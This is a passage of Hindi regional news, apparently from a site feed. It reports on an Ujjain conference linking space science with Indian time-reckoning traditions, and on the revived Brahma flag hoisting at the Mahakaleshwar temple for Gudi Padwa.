सम्मेलन में आधुनिक विज्ञान और भारतीय ज्ञान परंपरा के समन्वय से जुड़े विषयों पर विचार-विमर्श किया जाएगा। प्रमुख विषयों में विकसित भारत में स्पेस इकोनॉमी की भूमिका, खगोल विज्ञान, एस्ट्रोफिजिक्स एवं कॉस्मोलॉजी की नवीनतम तकनीक, भारतीय काल गणना पद्धति का वैज्ञानिक आधार, कालचक्र की अवधारणा और स्पेस सेक्टर से जुड़ी रणनीतियां शामिल हैं।

विविध कार्यक्रम होंगे आयोजन के आकर्षण

तीन दिवसीय सम्मेलन में मुख्य व्याख्यान, उच्च स्तरीय पैनल चर्चा, तकनीकी सत्र, ओपन सेशन, टेक्नोलॉजी एक्सपो, स्टार्टअप कॉन्फ्रेंस, डोंगला वेधशाला का भ्रमण, कार्यशालाएं, पुस्तक विमोचन, प्रदर्शनी और सांस्कृतिक कार्यक्रम आयोजित किए जाएंगे।

डॉ. विक्रम साराभाई के विज़न को मिलेगा विस्तार

उज्जैन प्राचीन काल से समय मापन का प्रमुख केंद्र रहा है। महान खगोलविद आचार्य वराहमिहिर ने उज्जैन को खगोलीय गणनाओं का आधार बनाया था। यहां विकसित कालचक्र की अवधारणा आज भी आधुनिक खगोल विज्ञान को प्रेरित करती है। यह सम्मेलन डॉ. विक्रम साराभाई के उस विज़न को आगे बढ़ाने की दिशा में भी महत्वपूर्ण कदम है, जिसमें भारत को अंतरिक्ष विज्ञान के क्षेत्र में अग्रणी बनाने की परिकल्पना की गई थी।

उज्जैन को वैश्विक टाइम स्केल सेंटर बनाने की पहल

मुख्यमंत्री डॉ. यादव के नेतृत्व में मध्यप्रदेश स्पेस टेक्नोलॉजी और नवाचार के क्षेत्र में निरंतर आगे बढ़ रहा है। राज्य सरकार उज्जैन को पुनः वैश्विक “टाइम स्केल सेंटर” के रूप में स्थापित करने की दिशा में कार्य कर रही है। साथ ही आधुनिक साइंस सेंटर और प्रस्तावित साइंस सिटी के माध्यम से युवाओं में वैज्ञानिक दृष्टिकोण को प्रोत्साहित किया जा रहा है।

सिंहस्थ-2028 की तैयारियों को मिलेगा बल

उज्जैन आगामी सिंहस्थ-2028 की तैयारियाँ भव्य रूप कर रहा है। सम्मेलन में इसरो, सीएसआईआर, डीआरडीओ, नीति आयोग सहित देश-विदेश के प्रमुख शैक्षणिक एवं शोध संस्थानों के प्रतिनिधियों की सहभागिता प्रस्तावित है।

 

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गुड़ी पड़वा पर महाकाल मंदिर के शिखर पर फहरेगा ब्रह्म ध्वज, 2000 साल पुरानी परंपरा का पुनरुद्धार https://pratyushaashakinayikiran.com/?p=205749 Wed, 18 Mar 2026 04:57:00 +0000 https://pratyushaashakinayikiran.com/?p=205749 उज्जैन 

चैत्र शुक्ल प्रतिपदा और गुड़ी पड़वा के अवसर पर 19 मार्च को श्री महाकालेश्वर मंदिर के शिखर पर ब्रह्म ध्वज का आरोहण किया जाएगा। यह आयोजन लगातार दूसरे वर्ष किया जा रहा है। यह केवल ध्वजारोहण नहीं, बल्कि लगभग 2000 वर्ष पुरानी उस गौरवशाली परंपरा का पुनरुद्धार है, जिसकी शुरुआत सम्राट विक्रमादित्य के काल में हुई थी। 

मध्यप्रदेश के मुख्यमंत्री डॉ. मोहन यादव की पहल पर इस परंपरा को फिर से भव्य रूप दिया जा रहा है। विक्रमादित्य द्वारा प्रारंभ किया गया विक्रम संवत और ब्रह्म ध्वज की परंपरा भारत की सांस्कृतिक श्रेष्ठता और गौरव का प्रतीक मानी जाती है।

ब्रह्म ध्वज की विशेषता
विक्रमादित्य शोध संस्थान के निदेशक राम तिवारी के अनुसार ब्रह्म ध्वज शक्ति, साहस और चतुर्दिक विजय का प्रतीक है। केसरिया रंग के इस ध्वज की बनावट भी विशेष होती है। इसमें दो पताकाएं होती हैं, जो ध्वज के दोनों छोर पर स्थित रहती हैं।

ध्वज के मध्य में सूर्य का चिन्ह अंकित होता है, जो तेज, ऊर्जा और विश्व विजय का प्रतीक माना जाता है। महिदपुर स्थित अश्विनी शोध संस्थान में आज भी वे प्राचीन मुद्राएं सुरक्षित हैं, जिन्हें सम्राट विक्रमादित्य ने इसी ब्रह्म ध्वज परंपरा को अमर बनाने के लिए जारी किया था।

सम्राट विक्रमादित्य के काल में उज्जैन अंतरराष्ट्रीय व्यापार का प्रमुख केंद्र माना जाता था। उस समय की मुद्राओं पर बने चिह्न बताते हैं कि उज्जैन को पृथ्वी का मध्य बिंदु माना जाता था। इन सिक्कों के एक पक्ष पर भगवान शिव सूर्यदंड लिए दिखाई देते हैं, जबकि दूसरे पक्ष पर प्लस (+) का चिन्ह बना होता है, जिसकी चारों भुजाओं पर गोले बने रहते हैं। यह प्रतीक दर्शाता है कि उज्जैन जल, थल और नभ तीनों मार्गों से विश्व से जुड़ा हुआ था।

65 वर्षों तक सुरक्षित रखा गया था ध्वज
शोधपीठ के निदेशक राम तिवारी ने बताया कि विक्रम संवत ज्ञान, संस्कृति, विज्ञान और अनुसंधान का महापर्व है। विक्रम संवत के अवसर पर ब्रह्म ध्वज विभिन्न स्थानों पर फहराया जाएगा। मध्यप्रदेश में मंदिरों, सार्वजनिक स्थलों और निजी स्थानों पर भी लोग स्वप्रेरणा से इस ध्वज को फहरा सकेंगे।

उन्होंने बताया कि महाकालेश्वर मंदिर पर स्थापित यह ध्वज लंबे समय तक पंडित सूर्यनारायण व्यास के परिवार ने अपने पूजा स्थल पर लगभग 65 वर्ष तक सुरक्षित रखा था। उसी ध्वज से प्रेरणा लेकर वर्तमान ब्रह्म ध्वज का निर्माण किया गया है। 

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